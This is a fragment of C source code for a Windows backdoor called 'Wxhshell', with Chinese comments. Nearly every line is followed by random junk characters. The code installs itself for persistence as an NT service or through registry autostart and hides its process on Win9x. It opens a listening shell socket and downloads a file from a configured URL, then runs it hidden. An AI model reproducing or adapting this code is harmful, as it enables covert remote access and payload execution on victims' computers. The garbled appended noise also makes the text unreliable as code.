DWORD AffinityMask; &y:SK)
DWORD BasePriority; 6>/g`%`N
ULONG UniqueProcessId; 6ieP` bct
ULONG InheritedFromUniqueProcessId; 'E#Bz"T
} PROCESS_BASIC_INFORMATION; etH]-S
|&rxDf}W
PROCNTQSIP NtQueryInformationProcess; Np R&`]
ykG^(.E
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hSSFmEpr
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Sj|Y}
x=VLRh%Gvl
HANDLE hProcess; R8fB
8 )
PROCESS_BASIC_INFORMATION pbi; LT)G"U~
9K_p4
mq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xh"8uJD
if(NULL == hInst ) return 0; |ea}+N
Cb;49;q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P:v|JER
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zgA/B{DaC;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bJ9K!6s??`
3 3b 3v\N
if (!NtQueryInformationProcess) return 0; BW&)Zz
0o-KjX?kP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]jwF[D
if(!hProcess) return 0; UU]a).rz
+[$ Q C*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _0qp!-l}
x)^t5"F
CloseHandle(hProcess); Y'2 |GJc2
Fs;_z9ej-u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
.'^Pg
if(hProcess==NULL) return 0; / FA0(< -}
KJN{p~Q
HMODULE hMod; e'1}5Ky
char procName[255]; Ra^GbT|Z
unsigned long cbNeeded; nn6&`$(Q~
c*`=o(S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0?8{q{ o+
>TZyax<:
CloseHandle(hProcess); = $awUy
g:CMIe4
if(strstr(procName,"services")) return 1; // 以服务启动 RS[>7-9
X\'+);Z
return 0; // 注册表启动 Kq2,J&Ca3
} ^%k[YJtB=i
<46fk*
// 主模块 V<G=pPC'H
int StartWxhshell(LPSTR lpCmdLine) $&[}+??
{ k\wI^D
SOCKET wsl; h[I~D`q)v
BOOL val=TRUE; *S=zJyAO
int port=0; O#S27.
struct sockaddr_in door; gN/6%,H}
2';f8JLY
if(wscfg.ws_autoins) Install(); .@(9v.:_u
W=@]YI
port=atoi(lpCmdLine); ]-G10p}Ph-
!L_\6;aP,x
if(port<=0) port=wscfg.ws_port; %(y0,?*
bClMM
WSADATA data; kA%"-$3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CP!>V:w%9!
$d_%7 xx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {P@OV1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); COk;z.Kn
door.sin_family = AF_INET; 1Ydym2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); maR5hgWCHe
door.sin_port = htons(port); ([a[fi
/K<.$B8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UuvI?D
closesocket(wsl); LU4k/
return 1; }hd:avze
} `8rInfV
Y>i?nC%*
if(listen(wsl,2) == INVALID_SOCKET) { KM;'MlO
closesocket(wsl); 7BDRA},o
return 1; ?XNQ_m8f
} 8rx"D`{|
Wxhshell(wsl); WbW@V_rr
WSACleanup(); bhWH
jk'.Gz
return 0; :;(zA_-
251^>x.R
} x O~t
4#^?-6
// 以NT服务方式启动 \E3evU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ow{Ss X
{ k{q4Zz[
DWORD status = 0; Q-g}{mFS
DWORD specificError = 0xfffffff; J` J^C
* vMNv
serviceStatus.dwServiceType = SERVICE_WIN32; qvH7 otA
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &hb:~>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZH<:YOQ
serviceStatus.dwWin32ExitCode = 0; 7jL3mI;n%;
serviceStatus.dwServiceSpecificExitCode = 0; 3j
iSvrfI
serviceStatus.dwCheckPoint = 0; xF4>G0
serviceStatus.dwWaitHint = 0; lSzLR~=Au
`Z:5 E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?-`G0 (
if (hServiceStatusHandle==0) return; v9qgfdBS5
@GpM4>:
status = GetLastError(); 0[qU k(=}[
if (status!=NO_ERROR) s;'jn_,0
{ |_^A$Hv
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]_ WB^
serviceStatus.dwCheckPoint = 0; _z$lg]q
serviceStatus.dwWaitHint = 0; sm~{fg
serviceStatus.dwWin32ExitCode = status; ~;*SW[4
serviceStatus.dwServiceSpecificExitCode = specificError; "5,tEP!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,c;u]
return; :DlgNR`bq
} oS/cS)N20
N=QeeAI}}m
serviceStatus.dwCurrentState = SERVICE_RUNNING; @rO4BTi>O
serviceStatus.dwCheckPoint = 0; y(!YN7_A
serviceStatus.dwWaitHint = 0; P~5[.6gW
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uczb"k5
} @1w9!\7Vt
e)WpqaI
// 处理NT服务事件,比如:启动、停止 !6UtwCVR
VOID WINAPI NTServiceHandler(DWORD fdwControl) o`8dqP
{ K2u$1OKv
switch(fdwControl) e /4{pe+,
{ 9{;cp?\)M
case SERVICE_CONTROL_STOP: +v`?j+6z
serviceStatus.dwWin32ExitCode = 0; F( w
serviceStatus.dwCurrentState = SERVICE_STOPPED; nK"XyZ&
serviceStatus.dwCheckPoint = 0; u&!QP4$"z
serviceStatus.dwWaitHint = 0; 2$MIA?A"Y
{ f;u<r? >Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pS3TD"p
} MifPZQ
return; \[Dxg`;4
case SERVICE_CONTROL_PAUSE: IU8/B+hM~
serviceStatus.dwCurrentState = SERVICE_PAUSED; $H9+>Z0(
break; >Bj+!)96q
case SERVICE_CONTROL_CONTINUE: _djr>C=H"
serviceStatus.dwCurrentState = SERVICE_RUNNING; vyt$
break; *P#okwp
case SERVICE_CONTROL_INTERROGATE: f"=1_*eH
break; s:6pPJL
}; py9HUyr5eZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ow`ej
} B4yC"55
*[-% .=[7
// 标准应用程序主函数 >>ncq$
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \UdHN=A&
{ UUf-G0/P
nnV(MB4z1
// 获取操作系统版本 Y 7a<3>
OsIsNt=GetOsVer(); SOq{`~,4B
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~qG`~/7
uK:?6>H
// 从命令行安装 F3aOKV^
if(strpbrk(lpCmdLine,"iI")) Install(); a5v}w7vL
TfD]`v`]
// 下载执行文件 aP%2CP~_ P
if(wscfg.ws_downexe) { rHir>
p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b>B.3E\Pc
WinExec(wscfg.ws_filenam,SW_HIDE); :Kl~hzVSOa
} JP2zom
|6%B2I&c
if(!OsIsNt) { \BV$p2m5-
// 如果时win9x,隐藏进程并且设置为注册表启动 \B0,?_i
HideProc(); WW'8&:x
StartWxhshell(lpCmdLine); h@5mVTb}i
} 5ayM}u%\~
else ^r u1QDT
if(StartFromService()) fgs){Ng`
// 以服务方式启动 8| 6:
StartServiceCtrlDispatcher(DispatchTable); yA8e"$
else rNgFsFQ>.
// 普通方式启动 G d".zsn
StartWxhshell(lpCmdLine); BM(8+Wj
]}3AP!:
return 0; zHI_U\"8D
}